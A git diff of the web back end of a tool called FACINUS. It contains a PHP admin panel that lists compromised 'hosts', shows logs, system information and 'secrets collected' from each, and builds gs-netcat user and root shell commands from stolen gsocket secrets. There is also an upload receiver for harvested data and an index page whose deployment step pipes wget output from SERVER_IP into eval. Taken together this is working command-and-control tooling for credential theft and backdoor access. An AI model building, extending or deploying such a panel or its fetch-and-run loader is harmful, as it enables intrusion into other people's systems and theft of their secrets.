▒████ ░▒██ ▀█▄ ▒▓█ ▄ ▒██▒▓██ ▀█ ██▒▓██ ▒██░░ ▓██▄
░▓█▒ ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒░██░▓██▒ ▐▌██▒▓▓█ ░██░ ▒ ██▒
░▒█░ ▓█ ▓██▒▒ ▓███▀ ░░██░▒██░ ▓██░▒▒█████▓ ▒██████▒▒
▒ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░░▓ ░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ▒▒ ░ ░ ▒ ▒ ░░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░
░ ░ ░ ▒ ░ ▒ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░
░ ░░ ░ ░ ░ ░ ░
admin panel
</pre>
</div>
<?php if ($authenticated): ?>
<a href="?logout=1" class="logout">logout</a>
<?php endif; ?>
</div>
<?php if (!$authenticated): ?>
<div class="login">
<h2>> login</h2>
<?php if (isset($login_error)): ?>
<div class="alert"><?php echo $login_error; ?></div>
<?php endif; ?>
<form method="post">
<label for="password">password:</label>
<input type="password" id="password" name="password" required autofocus>
<button type="submit">access</button>
</form>
</div>
<?php else: ?>
<div class="dashboard">
<div class="sidebar">
<div class="panel">
<div class="panel-header">
<h3>> hosts</h3>
</div>
<?php if (count($hosts) > 0): ?>
<ul class="host-list">
<?php foreach ($hosts as $host): ?>
<li>
<a href="?host=<?php echo urlencode($host); ?>" class="<?php echo isset($_GET['host']) && $_GET['host'] === $host ? 'active' : ''; ?>">
<?php echo htmlspecialchars($host); ?>
</a>
</li>
<?php endforeach; ?>
</ul>
<?php else: ?>
<div class="welcome">
<p>no connected hosts</p>
</div>
<?php endif; ?>
</div>
</div>
<div class="content">
<?php if (isset($_GET['host'])): ?>
<div class="panel">
<div class="panel-header">
<h2>> <?php echo htmlspecialchars($_GET['host']); ?></h2>
</div>
<div class="tabs">
<a href="?host=<?php echo urlencode($_GET['host']); ?>" class="tab <?php echo !isset($_GET['info']) && !isset($_GET['secrets']) && !isset($_GET['shell']) ? 'active' : ''; ?>">
logs
</a>
<a href="?host=<?php echo urlencode($_GET['host']); ?>&info=system" class="tab <?php echo isset($_GET['info']) && $_GET['info'] === 'system' ? 'active' : ''; ?>">
system
</a>
<a href="?host=<?php echo urlencode($_GET['host']); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">
secrets
</a>
<a href="?host=<?php echo urlencode($_GET['host']); ?>&shell=1" class="tab <?php echo isset($_GET['shell']) ? 'active' : ''; ?>">
shell
</a>
</div>
<?php if (isset($_GET['shell'])): ?>
<div style="padding: 10px;">
<h3>> gsocket shell access</h3>
<?php
// Check for gsocket user and root secret files
$user_secret = "";
$root_secret = "";
if (isset($secrets['gsocket_user'])) {
$user_secret = $secrets['gsocket_user'];
}
if (isset($secrets['gsocket_root'])) {
$root_secret = $secrets['gsocket_root'];
}
?>
<?php if (!empty($user_secret) || !empty($root_secret)): ?>
<?php if (!empty($user_secret)): ?>
<div class="gs-command">
<p>> user session</p>
<div class="command">
gs-netcat -s <?php echo htmlspecialchars($user_secret); ?> -i
<button class="copy-btn" onclick="copyToClipboard(this)" data-clipboard="gs-netcat -s <?php echo htmlspecialchars($user_secret); ?> -i">
copy
</button>
</div>
</div>
<?php endif; ?>
<?php if (!empty($root_secret)): ?>
<div class="gs-command">
<p>> root session</p>
<div class="command">
gs-netcat -s <?php echo htmlspecialchars($root_secret); ?> -i
<button class="copy-btn" onclick="copyToClipboard(this)" data-clipboard="gs-netcat -s <?php echo htmlspecialchars($root_secret); ?> -i">
copy
</button>
</div>
</div>
<?php endif; ?>
<div class="terminal" id="terminal">
<p>$ terminal emulation (run gs-netcat commands above in your local terminal)</p>
<p>$ this web console serves as a visual example only</p>
<p>$ -------------------------------------------------------</p>
<div id="output"></div>
<div style="display: flex;">
<span>$</span>
<input type="text" class="terminal-input" id="terminalInput" autocomplete="off">
</div>
</div>
<?php else: ?>
<div class="welcome">
<p>no gsocket secrets collected from this host</p>
</div>
<?php endif; ?>
</div>
<?php elseif (isset($_GET['secrets'])): ?>
<div class="secrets">
<?php if (count($secrets) > 0): ?>
<?php foreach ($secrets as $type => $value): ?>
<div class="secret">
<div class="secret-title">
> <?php echo htmlspecialchars(str_replace('_', ' ', $type)); ?>
</div>
<div class="command">
<?php echo htmlspecialchars($value); ?>
<button class="copy-btn" onclick="copyToClipboard(this)" data-clipboard="<?php echo htmlspecialchars($value); ?>">
copy
</button>
</div>
</div>
<?php endforeach; ?>
<?php else: ?>
<div class="welcome">
<p>no secrets collected from this host</p>
</div>
<?php endif; ?>
</div>
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
<div style="padding: 10px;">
<?php if ($system_info): ?>
<table class="info-table">
<?php foreach ($system_info as $key => $value): ?>
<tr>
<td class="info-label"><?php echo htmlspecialchars(str_replace('_', ' ', $key)); ?></td>
<td><?php echo htmlspecialchars($value); ?></td>
</tr>
<?php endforeach; ?>
</table>
<?php else: ?>
<div class="welcome">
<p>no system information collected</p>
</div>
<?php endif; ?>
</div>
<?php else: ?>
<?php if ($current_log): ?>
<div class="logs">
<?php echo htmlspecialchars($log_content); ?>
</div>
<?php elseif (count($host_logs) > 0): ?>
<ul class="log-list">
<?php foreach ($host_logs as $log): ?>
<?php
$log_time = filemtime($logs_dir . "/" . $_GET['host'] . "/" . $log);
$log_date = date("Y-m-d H:i:s", $log_time);
?>
<li>
<a href="?host=<?php echo urlencode($_GET['host']); ?>&log=<?php echo urlencode($log); ?>">
<?php echo htmlspecialchars($log); ?>
<span class="log-date"><?php echo $log_date; ?></span>
</a>
</li>
<?php endforeach; ?>
</ul>
<?php else: ?>
<div class="welcome">
<p>no logs available</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<?php else: ?>
<div class="welcome">
<p>select a host to view details</p>
</div>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
</div>
<script>
function copyToClipboard(element) {
const text = element.getAttribute('data-clipboard');
navigator.clipboard.writeText(text).then(function() {
const originalText = element.innerText;
element.innerText = "copied!";
setTimeout(() => {
element.innerText = originalText;
}, 1000);
});
}
// Simple terminal simulation
const terminalInput = document.getElementById('terminalInput');
const output = document.getElementById('output');
let commandHistory = [];
let commandIndex = -1;
if (terminalInput) {
terminalInput.addEventListener('keydown', function(e) {
const terminal = document.getElementById('terminal');
if (e.key === 'Enter') {
e.preventDefault();
const command = terminalInput.value;
if (command.trim() !== '') {
// Add command to history
commandHistory.push(command);
commandIndex = commandHistory.length;
// Display command
const cmdElement = document.createElement('p');
cmdElement.innerHTML = `$ ${command}`;
output.appendChild(cmdElement);
// Simulate response (this is just a simulation)
let response;
if (command.toLowerCase().includes('ls')) {
response = "index.html\nconfig.php\nassets/\n.hidden/";
} else if (command.toLowerCase().includes('whoami')) {
response = "www-data";
} else if (command.toLowerCase().includes('pwd')) {
response = "/var/www/html";
} else if (command.toLowerCase().includes('help')) {
response = "This is a simulated terminal. Use the gs-netcat command in your real terminal for actual access.";
} else {
response = `Command not found: ${command}`;
}
const resElement = document.createElement('p');
resElement.textContent = response;
output.appendChild(resElement);
// Clear input
terminalInput.value = '';
// Scroll to bottom
terminal.scrollTop = terminal.scrollHeight;
}
} else if (e.key === 'ArrowUp') {
// Navigate command history
if (commandHistory.length > 0 && commandIndex > 0) {
commandIndex--;
terminalInput.value = commandHistory[commandIndex];
// Move cursor to end
setTimeout(() => {
terminalInput.selectionStart = terminalInput.value.length;
terminalInput.selectionEnd = terminalInput.value.length;
}, 0);
}
e.preventDefault();
} else if (e.key === 'ArrowDown') {
// Navigate command history
if (commandIndex < commandHistory.length - 1) {
commandIndex++;
terminalInput.value = commandHistory[commandIndex];
} else if (commandIndex >= commandHistory.length - 1) {
commandIndex = commandHistory.length;
terminalInput.value = '';
}
e.preventDefault();
} else if (e.key === 'Tab') {
// Simple tab completion (just a demo)
e.preventDefault();
const cmd = terminalInput.value;
if (cmd.startsWith('cd ')) {
terminalInput.value = 'cd /var/www/';
} else if (cmd.startsWith('cat ')) {
terminalInput.value = 'cat /etc/passwd';
}
}
});
// Focus terminal input when terminal is clicked
const terminal = document.getElementById('terminal');
if (terminal) {
terminal.addEventListener('click', function() {
terminalInput.focus();
});
}
}
// Auto-refresh functionality for logs
const logContent = document.querySelector('.logs');
if (logContent) {
// Add refresh button
const refreshButton = document.createElement('button');
refreshButton.innerText = 'refresh';
refreshButton.className = 'copy-btn';
refreshButton.style.position = 'absolute';
refreshButton.style.top = '10px';
refreshButton.style.right = '10px';
const panelHeader = document.querySelector('.panel-header');
if (panelHeader) {
panelHeader.style.position = 'relative';
panelHeader.appendChild(refreshButton);
refreshButton.addEventListener('click', function() {
// Reload the current page
location.reload();
});
}
}
// Live search functionality for hosts and logs
function addSearchBox(containerSelector, itemSelector) {
const container = document.querySelector(containerSelector);
if (!container) return;
const searchBox = document.createElement('input');
searchBox.type = 'text';
searchBox.placeholder = 'search...';
searchBox.style.width = '100%';
searchBox.style.padding = '8px';
searchBox.style.margin = '0';
searchBox.style.background = 'var(--bg)';
searchBox.style.border = '1px solid var(--border)';
searchBox.style.borderWidth = '0 0 1px 0';
searchBox.style.color = 'var(--text)';
searchBox.style.fontFamily = "'Courier New', monospace";
container.parentNode.insertBefore(searchBox, container);
searchBox.addEventListener('input', function() {
const query = this.value.toLowerCase();
const items = document.querySelectorAll(itemSelector);
items.forEach(item => {
const text = item.textContent.toLowerCase();
if (text.includes(query)) {
item.style.display = 'block';
} else {
item.style.display = 'none';
}
});
});
}
// Add search boxes if lists exist
if (document.querySelector('.host-list')) {
addSearchBox('.host-list', '.host-list li a');
}
if (document.querySelector('.log-list')) {
addSearchBox('.log-list', '.log-list li a');
}
// Add a notification system
function createNotification(message, type = 'info') {
const notification = document.createElement('div');
notification.className = 'notification ' + type;
notification.innerHTML = message;
notification.style.position = 'fixed';
notification.style.bottom = '20px';
notification.style.right = '20px';
notification.style.padding = '10px 15px';
notification.style.background = type === 'error' ? 'rgba(255, 85, 85, 0.2)' : 'rgba(51, 255, 51, 0.1)';
notification.style.border = '1px solid ' + (type === 'error' ? 'var(--accent)' : 'var(--text)');
notification.style.color = type === 'error' ? 'var(--accent)' : 'var(--text)';
notification.style.fontFamily = "'Courier New', monospace";
notification.style.zIndex = '1000';
notification.style.maxWidth = '300px';
notification.style.boxShadow = '0 2px 10px rgba(0,0,0,0.2)';
document.body.appendChild(notification);
setTimeout(() => {
notification.style.opacity = '0';
notification.style.transition = 'opacity 0.5s ease';
setTimeout(() => {
document.body.removeChild(notification);
}, 500);
}, 3000);
}
// Example notifications (uncomment to use)
// document.addEventListener('DOMContentLoaded', function() {
// createNotification('Connected to new host: server-backup-01', 'info');
// });
// Add download functionality for logs
if (logContent) {
const downloadButton = document.createElement('button');
downloadButton.innerText = 'download';
downloadButton.className = 'copy-btn';
downloadButton.style.position = 'absolute';
downloadButton.style.top = '10px';
downloadButton.style.right = '80px'; // Position next to refresh button
const panelHeader = document.querySelector('.panel-header');
if (panelHeader) {
panelHeader.appendChild(downloadButton);
downloadButton.addEventListener('click', function() {
const content = logContent.innerText;
const blob = new Blob([content], {type: 'text/plain'});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = '<?php echo isset($_GET["log"]) ? $_GET["log"] : "log"; ?>';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
createNotification('Log file downloaded successfully', 'info');
});
}
}
// Enable dark mode toggle
const darkModeToggle = document.createElement('button');
darkModeToggle.innerText = 'toggle theme';
darkModeToggle.className = 'copy-btn';
darkModeToggle.style.position = 'absolute';
darkModeToggle.style.top = '10px';
darkModeToggle.style.right = '100px';
darkModeToggle.style.display = 'none'; // Hidden by default, enable if you want this feature
const header = document.querySelector('.header');
if (header) {
header.style.position = 'relative';
header.appendChild(darkModeToggle);
darkModeToggle.addEventListener('click', function() {
const root = document.documentElement;
const currentBg = getComputedStyle(root).getPropertyValue('--bg').trim();
if (currentBg === '#111111') {
// Switch to light mode
root.style.setProperty('--bg', '#f0f0f0');
root.style.setProperty('--text', '#006600');
root.style.setProperty('--text-dim', '#004d00');
root.style.setProperty('--secondary', '#444444');
root.style.setProperty('--border', '#cccccc');
root.style.setProperty('--hover', '#e0e0e0');
root.style.setProperty('--panel', '#ffffff');
} else {
// Switch to dark mode
root.style.setProperty('--bg', '#111111');
root.style.setProperty('--text', '#33ff33');
root.style.setProperty('--text-dim', '#1a991a');
root.style.setProperty('--secondary', '#aaaaaa');
root.style.setProperty('--border', '#333333');
root.style.setProperty('--hover', '#222222');
root.style.setProperty('--panel', '#191919');
}
});
}
</script>
</body>
</html>

277
web/admin/admin.php Normal file
View File

@@ -0,0 +1,277 @@
<?php
// FACINUS Admin Panel
session_start();
$admin_password = "ADMIN_PASSWORD_PLACEHOLDER"; // Will be replaced during installation
// Handle login/logout
if (isset($_POST['password'])) {
if ($_POST['password'] === $admin_password) {
$_SESSION['authenticated'] = true;
} else {
$login_error = "Invalid password";
}
}
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// Check authentication
$authenticated = isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;
// Directories
$logs_dir = __DIR__ . "/logs";
$secrets_dir = __DIR__ . "/secrets";
// Get list of hosts
$hosts = [];
if ($authenticated && is_dir($logs_dir)) {
$dir_content = scandir($logs_dir);
foreach ($dir_content as $item) {
if ($item != "." && $item != ".." && is_dir($logs_dir . "/" . $item)) {
$hosts[] = $item;
}
}
}
// View specific log if requested
$current_log = null;
$log_content = "";
if ($authenticated && isset($_GET['log']) && isset($_GET['host'])) {
// Fix path traversal by sanitizing inputs
$host = basename($_GET['host']);
$log = basename($_GET['log']);
$log_path = $logs_dir . "/" . $host . "/" . $log;
if (file_exists($log_path) && is_file($log_path)) {
$current_log = $log;
$log_content = file_get_contents($log_path);
}
}
// View system info if requested
$system_info = null;
if ($authenticated && isset($_GET['info']) && $_GET['info'] === 'system' && isset($_GET['host'])) {
$host = basename($_GET['host']);
$info_path = $logs_dir . "/" . $host . "/system_info.json";
if (file_exists($info_path) && is_file($info_path)) {
$system_info = json_decode(file_get_contents($info_path), true);
}
}
// View secrets if requested
$secrets = [];
if ($authenticated && isset($_GET['secrets']) && isset($_GET['host'])) {
$host = basename($_GET['host']);
$host_secrets_dir = $secrets_dir . "/" . $host;
if (is_dir($host_secrets_dir)) {
$secret_files = scandir($host_secrets_dir);
foreach ($secret_files as $file) {
if ($file != "." && $file != ".." && is_file($host_secrets_dir . "/" . $file)) {
$type = pathinfo($file, PATHINFO_FILENAME);
$value = file_get_contents($host_secrets_dir . "/" . $file);
$secrets[$type] = $value;
}
}
}
}
$host_logs = [];
if ($authenticated && isset($_GET['host'])) {
$host = basename($_GET['host']);
$host_logs_dir = $logs_dir . "/" . $host;
if (is_dir($host_logs_dir)) {
$log_files = scandir($host_logs_dir);
foreach ($log_files as $file) {
if ($file != "." && $file != ".." && is_file($host_logs_dir . "/" . $file)) {
$host_logs[] = $file;
}
}
// Sort logs by most recent first
usort($host_logs, function($a, $b) use ($host_logs_dir) {
$file_b = $host_logs_dir . "/" . $b;
$file_a = $host_logs_dir . "/" . $a;
$time_b = file_exists($file_b) ? filemtime($file_b) : 0;
$time_a = file_exists($file_a) ? filemtime($file_a) : 0;
return $time_b - $time_a;
});
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FACINUS - Admin</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="container">
<div class="header">
<a href="admin.php" class="logo">
<pre class="ascii-header">
█████▒▄▄▄ ▄████▄ ██▓ ███▄ █ █ ██ ██████
▓██ ▒▒████▄ ▒██▀ ▀█ ▓██▒ ██ ▀█ █ ██ ▓██▒▒██ ▒
▒████ ░▒██ ▀█▄ ▒▓█ ▄ ▒██▒▓██ ▀█ ██▒▓██ ▒██░░ ▓██▄
░▓█▒ ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒░██░▓██▒ ▐▌██▒▓▓█ ░██░ ▒ ██▒
░▒█░ ▓█ ▓██▒▒ ▓███▀ ░░██░▒██░ ▓██░▒▒█████▓ ▒██████▒▒
▒ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░░▓ ░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ▒▒ ░ ░ ▒ ▒ ░░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░
░ ░ ░ ▒ ░ ▒ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░
░ ░░ ░ ░ ░ ░ ░
admin panel
</pre>
</a>
<?php if ($authenticated): ?>
<a href="?logout=1" class="logout">logout</a>
<?php endif; ?>
</div>
<?php if (!$authenticated): ?>
<div class="login">
<h2>> login</h2>
<?php if (isset($login_error)): ?>
<div class="alert"><?php echo $login_error; ?></div>
<?php endif; ?>
<form method="post">
<label for="password">password:</label>
<input type="password" id="password" name="password" required autofocus>
<button type="submit">access</button>
</form>
</div>
<?php else: ?>
<div class="dashboard">
<div class="sidebar">
<div class="panel">
<div class="panel-header">
<h3>> hosts</h3>
</div>
<?php if (count($hosts) > 0): ?>
<input type="text" id="hostSearch" placeholder="search..." class="search-box">
<ul class="host-list">
<?php foreach ($hosts as $host): ?>
<li>
<a href="?host=<?php echo urlencode($host); ?>" class="<?php echo isset($_GET['host']) && $_GET['host'] === $host ? 'active' : ''; ?>">
<?php echo htmlspecialchars($host); ?>
</a>
</li>
<?php endforeach; ?>
</ul>
<?php else: ?>
<div class="welcome">
<p>no connected hosts</p>
</div>
<?php endif; ?>
</div>
</div>
<div class="content">
<?php if (isset($_GET['host'])): ?>
<div class="panel">
<div class="panel-header">
<h2>> <?php echo htmlspecialchars(basename($_GET['host'])); ?></h2>
<?php if ($current_log): ?>
<button class="action-btn" id="downloadBtn">download</button>
<button class="action-btn" id="refreshBtn">refresh</button>
<?php endif; ?>
</div>
<div class="tabs">
<a href="?host=<?php echo urlencode(basename($_GET['host'])); ?>" class="tab <?php echo !isset($_GET['info']) && !isset($_GET['secrets']) ? 'active' : ''; ?>">
logs
</a>
<a href="?host=<?php echo urlencode(basename($_GET['host'])); ?>&info=system" class="tab <?php echo isset($_GET['info']) && $_GET['info'] === 'system' ? 'active' : ''; ?>">
system
</a>
<a href="?host=<?php echo urlencode(basename($_GET['host'])); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">
secrets
</a>
</div>
<?php if (isset($_GET['secrets'])): ?>
<div class="secrets">
<?php if (count($secrets) > 0): ?>
<?php foreach ($secrets as $type => $value): ?>
<div class="secret">
<div class="secret-title">
> <?php echo htmlspecialchars(str_replace('_', ' ', $type)); ?>
</div>
<div class="command">
<div class="secret-content">
<?php echo htmlspecialchars($value); ?>
</div>
<button class="copy-btn" data-clipboard="<?php echo htmlspecialchars($value); ?>">
copy
</button>
</div>
</div>
<?php endforeach; ?>
<?php else: ?>
<div class="welcome">
<p>no secrets collected from this host</p>
</div>
<?php endif; ?>
</div>
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
<div class="system-info">
<?php if ($system_info): ?>
<table class="info-table">
<?php foreach ($system_info as $key => $value): ?>
<tr>
<td class="info-label"><?php echo htmlspecialchars(str_replace('_', ' ', $key)); ?></td>
<td><?php echo htmlspecialchars($value); ?></td>
</tr>
<?php endforeach; ?>
</table>
<?php else: ?>
<div class="welcome">
<p>no system information collected</p>
</div>
<?php endif; ?>
</div>
<?php else: ?>
<?php if ($current_log): ?>
<div class="logs">
<?php echo htmlspecialchars($log_content); ?>
</div>
<?php elseif (count($host_logs) > 0): ?>
<input type="text" id="logSearch" placeholder="search..." class="search-box">
<ul class="log-list">
<?php foreach ($host_logs as $log_file): ?>
<?php
$host = basename($_GET['host']);
$log_time = filemtime($logs_dir . "/" . $host . "/" . $log_file);
$log_date = date("Y-m-d H:i:s", $log_time);
?>
<li>
<a href="?host=<?php echo urlencode($host); ?>&log=<?php echo urlencode($log_file); ?>">
<?php echo htmlspecialchars($log_file); ?>
<span class="log-date"><?php echo $log_date; ?></span>
</a>
</li>
<?php endforeach; ?> </ul>
<?php else: ?>
<div class="welcome">
<p>no logs available</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<?php else: ?>
<div class="welcome">
<p>select a host to view details</p>
</div>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
</div>
<script src="scripts.js"></script>
</body>
</html>

100
web/admin/scripts.js Normal file
View File

@@ -0,0 +1,100 @@
// Copy to clipboard functionality
document.addEventListener('click', function(e) {
if (e.target && e.target.classList.contains('copy-btn')) {
const text = e.target.getAttribute('data-clipboard');
// Check for clipboard API support
if (navigator.clipboard) {
navigator.clipboard.writeText(text)
.then(function() {
const originalText = e.target.innerText;
e.target.innerText = "copied!";
setTimeout(() => {
e.target.innerText = originalText;
}, 1000);
})
.catch(function(err) {
console.error('Failed to copy: ', err);
// Fallback method
fallbackCopyTextToClipboard(text, e.target);
});
} else {
// Fallback for browsers without clipboard API
fallbackCopyTextToClipboard(text, e.target);
}
}
});
// Fallback copy method for older browsers
function fallbackCopyTextToClipboard(text, button) {
const textArea = document.createElement("textarea");
textArea.value = text;
textArea.style.position = "fixed"; // Avoid scrolling to bottom
document.body.appendChild(textArea);
textArea.focus();
textArea.select();
try {
const successful = document.execCommand('copy');
if (successful) {
const originalText = button.innerText;
button.innerText = "copied!";
setTimeout(() => {
button.innerText = originalText;
}, 1000);
}
} catch (err) {
console.error('Fallback: Unable to copy', err);
}
document.body.removeChild(textArea);
}
// Search functionality
function setupSearch(inputId, itemsSelector) {
const searchInput = document.getElementById(inputId);
if (searchInput) {
searchInput.addEventListener('input', function() {
const query = this.value.toLowerCase();
const items = document.querySelectorAll(itemsSelector);
items.forEach(item => {
const text = item.textContent.toLowerCase();
item.parentNode.style.display = text.includes(query) ? 'block' : 'none';
});
});
}
}
// Setup search functionality if elements exist
setupSearch('hostSearch', '.host-list a');
setupSearch('logSearch', '.log-list a');
// Download button functionality
const downloadBtn = document.getElementById('downloadBtn');
if (downloadBtn) {
downloadBtn.addEventListener('click', function() {
const logContent = document.querySelector('.logs');
if (logContent) {
const content = logContent.innerText;
const blob = new Blob([content], {type: 'text/plain'});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
const urlParams = new URLSearchParams(window.location.search);
a.download = urlParams.get('log') || "log";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
});
}
// Refresh button functionality
const refreshBtn = document.getElementById('refreshBtn');
if (refreshBtn) {
refreshBtn.addEventListener('click', function() {
location.reload();
});
}

275
web/admin/styles.css Normal file
View File

@@ -0,0 +1,275 @@
:root {
--bg: #111111;
--text: #33ff33;
--text-dim: #1a991a;
--secondary: #aaaaaa;
--accent: #ff5555;
--border: #333333;
--hover: #222222;
--panel: #191919;
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Courier New', monospace;
background-color: var(--bg);
color: var(--text);
line-height: 1.5;
}
.container {
width: 95%;
max-width: 1400px;
margin: 0 auto;
padding: 10px;
}
.header {
border-bottom: 1px solid var(--border);
padding: 10px 0;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
}
pre {
font-family: 'Courier New', monospace;
overflow-x: auto;
white-space: pre;
}
.ascii-header {
font-size: 12px;
line-height: 1.2;
}
.logo {
text-decoration: none;
color: var(--text);
}
.logout {
color: var(--text);
text-decoration: none;
border: 1px solid var(--border);
padding: 5px 10px;
}
.logout:hover {
background: var(--hover);
}
.dashboard {
display: flex;
gap: 20px;
}
.sidebar {
width: 280px;
flex-shrink: 0;
}
.content {
flex-grow: 1;
}
.panel {
border: 1px solid var(--border);
background: var(--panel);
margin-bottom: 20px;
}
.panel-header {
border-bottom: 1px solid var(--border);
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
}
.host-list, .log-list {
list-style: none;
}
.host-list a, .log-list a, .tab {
display: block;
padding: 8px 10px;
color: var(--secondary);
text-decoration: none;
border-bottom: 1px solid var(--border);
}
.host-list a:hover, .log-list a:hover, .tab:hover {
background: var(--hover);
color: var(--text);
}
.host-list a.active, .log-list a.active, .tab.active {
color: var(--text);
background: rgba(51, 255, 51, 0.1);
}
.tabs {
display: flex;
border-bottom: 1px solid var(--border);
}
.tab {
padding: 8px 15px;
border-right: 1px solid var(--border);
border-bottom: none;
}
.logs {
padding: 10px;
max-height: 600px;
overflow: auto;
white-space: pre-wrap;
font-family: 'Courier New', monospace;
font-size: 14px;
background: rgba(0, 0, 0, 0.2);
}
.log-date {
float: right;
color: var(--text-dim);
font-size: 0.9em;
}
.login {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border: 1px solid var(--border);
background: var(--panel);
}
input[type="password"], .search-box {
width: 100%;
padding: 8px;
margin: 10px 0;
background: var(--bg);
border: 1px solid var(--border);
color: var(--text);
font-family: 'Courier New', monospace;
}
button, .action-btn {
padding: 8px 15px;
background: transparent;
color: var(--text);
border: 1px solid var(--text);
cursor: pointer;
font-family: 'Courier New', monospace;
}
button:hover, .action-btn:hover {
background: rgba(51, 255, 51, 0.1);
}
.welcome {
text-align: center;
padding: 50px 20px;
color: var(--secondary);
}
/* Fix for secrets layout */
.secret {
margin-bottom: 15px;
}
.command {
display: flex;
align-items: flex-start;
background-color: #111;
padding: 8px;
border-radius: 3px;
overflow: hidden;
}
.secret-content {
flex: 1;
word-break: break-all;
white-space: pre-wrap;
overflow-wrap: break-word;
font-family: monospace;
max-width: calc(100% - 70px);
overflow-x: auto;
}
.copy-btn {
flex: 0 0 60px;
margin-left: 10px;
align-self: flex-start;
background: #333;
color: #0f0;
border: 1px solid #444;
padding: 4px 8px;
border-radius: 3px;
cursor: pointer;
font-family: monospace;
text-transform: lowercase;
}
.copy-btn:hover {
background: #444;
}
.alert {
border-left: 3px solid var(--accent);
padding: 10px;
margin-bottom: 15px;
color: var(--accent);
}
.system-info {
padding: 10px;
}
.info-table {
width: 100%;
border-collapse: collapse;
}
.info-table tr {
border-bottom: 1px solid var(--border);
}
.info-table td {
padding: 8px 10px;
}
.info-label {
color: var(--secondary);
width: 150px;
}
.action-btn {
padding: 3px 8px;
font-size: 12px;
margin-left: 5px;
}
@media (max-width: 800px) {
.dashboard {
flex-direction: column;
}
.sidebar {
width: 100%;
}
.ascii-header {
font-size: 10px;
}
.tabs {
flex-wrap: wrap;
}
}

View File

@@ -169,7 +169,7 @@
<div class="command-wrapper"> <div class="command-wrapper">
<div class="command"> <div class="command">
<span class="command-prompt" id="cmd1">eval "$(wget -qO- http://SERVER_IP/deployment/full)"</span> <span class="command-prompt" id="cmd1">eval "$(wget -qO- http://SERVER_IP/deployment/y)"</span>
</div> </div>
<button class="copy-btn" onclick="copyToClipboard('cmd1', this)">copy</button> <button class="copy-btn" onclick="copyToClipboard('cmd1', this)">copy</button>
</div> </div>
@@ -213,7 +213,7 @@
</div> </div>
<h2>> admin</h2> <h2>> admin</h2>
<a href="admin.php" class="admin-link">$ access admin panel</a> <a href="admin/admin.php" class="admin-link">$ access admin panel</a>
</body> </body>
<script> <script>

View File

@@ -4,8 +4,8 @@
// Configuration // Configuration
$auth_token = "TOKEN_PLACEHOLDER"; // Will be replaced during installation $auth_token = "TOKEN_PLACEHOLDER"; // Will be replaced during installation
$logs_dir = __DIR__ . "/logs"; $logs_dir = __DIR__ . "/admin/logs";
$secrets_dir = __DIR__ . "/secrets"; $secrets_dir = __DIR__ . "/admin/secrets";
// Verify authentication token // Verify authentication token
if (!isset($_POST['auth_token']) || $_POST['auth_token'] !== $auth_token) { if (!isset($_POST['auth_token']) || $_POST['auth_token'] !== $auth_token) {
@@ -33,7 +33,7 @@ if (!file_exists($host_secrets_dir)) {
// Process the file upload if available // Process the file upload if available
if (isset($_FILES['log_data']) && $_FILES['log_data']['error'] === UPLOAD_ERR_OK) { if (isset($_FILES['log_data']) && $_FILES['log_data']['error'] === UPLOAD_ERR_OK) {
$log_file = $host_logs_dir . "/" . $timestamp . "_" . sanitize_filename($_FILES['log_data']['name']) . ".log"; $log_file = $host_logs_dir . "/" . $timestamp . "_" . sanitize_filename($_FILES['log_data']['name']);
if (move_uploaded_file($_FILES['log_data']['tmp_name'], $log_file)) { if (move_uploaded_file($_FILES['log_data']['tmp_name'], $log_file)) {
// Process system info if provided // Process system info if provided
if (!empty($system_info)) { if (!empty($system_info)) {

View File

@@ -5,42 +5,42 @@ setup_web_server() {
echo "Setting up web server..." echo "Setting up web server..."
# Create necessary directories # Create necessary directories
sudo mkdir -p "$SERVER_ROOT/logs" sudo mkdir -p "$SERVER_ROOT/admin/logs"
sudo mkdir -p "$SERVER_ROOT/secrets" sudo mkdir -p "$SERVER_ROOT/admin/secrets"
# Set correct permissions # Set correct permissions
case "$DISTRO" in case "$DISTRO" in
arch) arch)
sudo chown -R http:http "$SERVER_ROOT/logs" sudo chown -R http:http "$SERVER_ROOT/admin/logs"
sudo chown -R http:http "$SERVER_ROOT/secrets" sudo chown -R http:http "$SERVER_ROOT/admin/secrets"
;; ;;
debian|ubuntu) debian|ubuntu)
sudo chown -R www-data:www-data "$SERVER_ROOT/logs" sudo chown -R www-data:www-data "$SERVER_ROOT/admin/logs"
sudo chown -R www-data:www-data "$SERVER_ROOT/secrets" sudo chown -R www-data:www-data "$SERVER_ROOT/admin/secrets"
;; ;;
redhat|fedora|centos) redhat|fedora|centos)
